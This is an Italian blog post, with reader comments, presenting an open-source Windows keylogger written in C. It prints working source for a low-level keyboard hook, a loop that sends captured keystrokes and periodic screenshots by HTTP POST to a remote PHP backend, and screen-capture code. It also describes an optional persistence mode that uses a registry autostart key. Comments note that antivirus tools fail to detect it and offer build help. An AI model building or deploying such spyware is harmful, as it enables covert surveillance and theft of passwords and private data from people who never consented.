Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).
Ecco il link al repository su github:
https://github.com/gianlucag/Keylogger
E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.
Ecco le caratteristiche principali del keylogger:
- cattura tastiera ed eventi mouse
- screenshot ad intervalli regolari
- invio tasti e screenshot a backend PHP remoto
- modalità auto installer o modo normale
Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.
Funzionamento generale
Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).
Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.
Funzionamento nel dettaglio
Analizziamo meglio il codice sorgente:
Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.
int main(int argn, char* argv[]) { mutex = CreateMutex(NULL, FALSE, NULL); buffer = (char*)malloc(BUFFERLEN); buffer[0] = 0; HANDLE logger; logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL); unsigned int timer = 0; int len; while(1) { if(timer % SNAPSHOT_SEC == 0) { SendScreenshot(); } if(timer % 10 == 0) { // lock WaitForSingleObject(mutex, INFINITE); len = strlen(buffer); // unlock ReleaseMutex(mutex); int res = CurlSend(buffer, len, "text="); if(res) { // lock WaitForSingleObject(mutex, INFINITE); // reset buffer strcpy(buffer, buffer + len); // unlock ReleaseMutex(mutex); } } timer++; Sleep(1000); // 1 sec sleep } return 0; }
Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri
LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam) { if(nCode == WM_KEYDOWN) { KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam; SaveKey(keyboard->vkCode); } return DefWindowProc(hwnd, nCode, wParam, lParam); } DWORD WINAPI KeyLogger() { HINSTANCE hExe = GetModuleHandle(NULL); //hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0); hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0); MSG msg; while (GetMessage(&msg, NULL, 0, 0) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; }
Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.
Creazione snapshot ed invio remoto
La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente i dati png
BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut) { BOOL Success=FALSE; HDC SurfDC=NULL; HBITMAP OffscrBmp=NULL; HDC OffscrDC=NULL; LPBITMAPINFO lpbi=NULL; LPVOID lpvBits=NULL; HANDLE BmpFile=INVALID_HANDLE_VALUE; BITMAPFILEHEADER bmfh; if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL) return FALSE; if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL) return FALSE; HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp); BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY); lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD)); ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER)); lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); SelectObject(OffscrDC, OldBmp); if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS)) return FALSE; lpvBits = malloc(lpbi->bmiHeader.biSizeImage); if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS)) return FALSE; int h = height; int w = width; unsigned scanlineBytes = w * 4; if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4; char *png = malloc(w * h * 4); int x,y; for(y = 0; y < h; y++) for(x = 0; x < w; x++) { unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x; unsigned newpos = 4 * y * w + 4 * x; png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B png[newpos + 3] = 255; //A } free(lpvBits); lodepng_encode32_memory(png, width, height, bufferOut, lengthOut); free(png); return TRUE; }
Modalità auto installer
La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager
come posso fare per convertire il buffer contenente i dati png in un immagine png?
devi scrivere i bytes su file. fopen() e fwrite()
Ciao, avrei una curiosità: come mai antivirus e antimalwares non lo rilevano come potenziale threat? (Ho provato con win def e malwarebytes)
eheh segreto! 🙂
non saprei sinceramente… probabilmente non è abbastanza famoso per aggiudicarsi la firma nel database dei software indesiderati. Lo scanner euristico dovrebbe vedertelo, agganciarsi alla hook della tastiera non è un metodo cosi’ esotico, forse lo è di più il polling dello stato della tastiera…
Mi da’ errore in fase di compilazione
gcc -o keylloger.c
gcc -o lodepng.c
gcc -c keylogger keylogger.o lodepng.o
Dov’è che sbaglio?
Risolto compilando con dev c++
ottimo! hai scritto “keylloger” nel commento precedente , ma non era quello il problema giusto? Considera che non compila in Linux, il keylogger usa le API di Windows. Con MinGW potrebbe funzionare ma non ho mai provato
Bel lavoro
Grazie! dai un’occhiata su github e se hai idee su come migliorare o aggiungere feature, ben vengano!
[…] Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente). Progetto sviluppato insieme al mio amico Gianluca Ghettini. Vai qui per leggere l’articolo: http://www.gianlucaghettini.net/keylogger-in-c-per-windows-xp7810/ […]
Ciao.
Grazie per l’interessante progetto, ma in questa sezione del codice
gratuito (lpvBits);
lodepng_encode32_memory (png, width, height, bufferOut, lengthOut);
libero (png);
(lodepng_encode32_memory) errore: non è definito
Non raccogli il tuo progetto, io uso Visual Studio 2012 _ La versione può essere vecchia ???